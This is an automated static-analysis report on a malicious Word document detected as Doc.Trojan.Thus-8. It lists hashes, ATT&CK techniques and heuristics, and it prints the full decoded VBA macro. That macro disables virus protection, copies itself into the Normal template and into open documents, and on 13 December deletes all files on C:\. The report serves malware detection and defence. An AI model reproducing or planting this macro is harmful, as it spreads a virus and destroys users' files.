Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 53aaa1ff6c6ff19b…

MALICIOUS

Office (OLE)

35.0 KB Created: 2010-11-30 00:35:00 Authoring application: Microsoft Word 11.2 First seen: 2020-02-04
MD5: 707d4eb363f1d7b802c0dd8011faa90b SHA-1: b02bdbded3657b28b02f7ae9acf5cab7c4e38318 SHA-256: 53aaa1ff6c6ff19be33d5bafb50bd71e35c654166ffe0ddbf340e8cd8261f8ab
180 Risk Score

Malware Insights

MITRE ATT&CK
T1566.001 Spearphishing Attachment T1059.005 Visual Basic

The sample is a malicious Word document containing VBA macros, specifically a Document_Open macro designed to execute malicious code upon opening. The macro attempts to disable virus protection and copy itself to the Normal template, indicating an attempt to establish persistence and evade detection. The ClamAV detection name 'Doc.Trojan.Thus-8' further confirms its malicious nature.

Heuristics 3

  • ClamAV: Doc.Trojan.Thus-8 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Thus-8
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2358 bytes
SHA-256: 3de23fea427398d6ca3c3e3be68607625ed4796bf7397bf193db5e021fae4bd2
Detection
ClamAV: Doc.Trojan.Thus-8
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
'Thus_001'
    On Error Resume Next
    Application.Options.VirusProtection = False
    If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(2, 1) <> "'Thus_001'" Then
    NormalTemplate.VBProject.VBComponents.Item(1).CodeModule _
    .DeleteLines 1, NormalTemplate.VBProject.VBComponents.Item(1) _
    .CodeModule.CountOfLines
    End If
    If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines = 0 Then
    NormalTemplate.VBProject.VBComponents.Item(1).CodeModule _
    .InsertLines 1, ActiveDocument.VBProject.VBComponents.Item(1) _
    .CodeModule.Lines(1, ActiveDocument.VBProject.VBComponents _
    .Item(1).CodeModule.CountOfLines)
    End If
    If NormalTemplate.Saved = False Then NormalTemplate.Save
    For k = 1 To Application.Documents.Count
    If Application.Documents.Item(k).VBProject.VBComponents.Item(1).CodeModule.Lines(2, 1) <> "'Thus_001'" Then
    Application.Documents.Item(k).VBProject.VBComponents.Item(1) _
    .CodeModule.DeleteLines 1, Application.Documents.Item(k) _
    .VBProject.VBComponents.Item(1).CodeModule.CountOfLines
    End If
    If Application.Documents.Item(k).VBProject.VBComponents.Item(1).CodeModule.CountOfLines = 0 Then
    Application.Documents.Item(k).VBProject.VBComponents.Item(1) _
    .CodeModule.InsertLines 1, NormalTemplate.VBProject.VBComponents _
    .Item(1).CodeModule.Lines(1, NormalTemplate.VBProject _
    .VBComponents.Item(1).CodeModule.CountOfLines)
    End If
    Next k
    If (Day(Now()) = 13) And (Month(Now()) = 12) Then
    With Application.FileSearch
        .NewSearch
        .LookIn = "C:\"
        .SearchSubFolders = True
        .FileName = "*.*"
        .MatchTextExactly = False
        .FileType = msoFileTypeAllFiles
        If .Execute > 0 Then
        For I = 1 To .FoundFiles.Count
        Kill .FoundFiles(I)
        Next I
        End If
    End With
    End If
End Sub
Private Sub Document_Close()
    Document_Open
End Sub
Private Sub Document_New()
    Document_Open
End Sub